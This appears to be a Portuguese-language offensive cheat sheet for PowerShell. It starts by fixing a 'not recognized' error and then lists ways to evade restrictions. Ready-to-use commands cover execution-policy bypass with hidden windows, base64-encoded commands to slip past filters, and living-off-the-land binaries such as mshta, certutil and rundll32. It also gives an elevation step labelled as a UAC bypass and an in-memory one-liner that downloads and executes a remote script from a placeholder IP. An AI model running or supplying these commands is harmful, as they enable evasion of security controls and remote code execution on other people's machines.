About
POWERSHELL ERROS
# Erro comum:
# 'powershell' is not recognized as an internal or external command
# ✔️ Caminho absoluto do PowerShell:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe
# Técnicas para contornar restrições:
# 1. Usar caminho absoluto
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -exec bypass
# 2. Utilizar variável de ambiente (mais genérico)
%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe -exec bypass
# 3. Forçar execução sem política restritiva
powershell.exe -exec bypass -nop -w hidden -c "comando"
# 4. Encodar o comando para evitar filtros
# Exemplo: comando simples
echo "whoami" | iconv -f ascii -t utf-16le | base64
# Executar via PowerShell
powershell.exe -enc <comando_base64>
# 5. Usar alternativa ao PowerShell:
# Caso esteja desativado ou bloqueado:
cmd.exe
wmic
mshta
certutil
regsvr32
rundll32
# 6. Bypass UAC (se contexto permitir)
powershell -Command "Start-Process powershell -Verb runAs"
# 7. PowerShell In-Memory Download & Exec (Living off the Land)
powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://IP/script.ps1')"
# 8. Verificar se PowerShell está instalado e disponível
dir "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"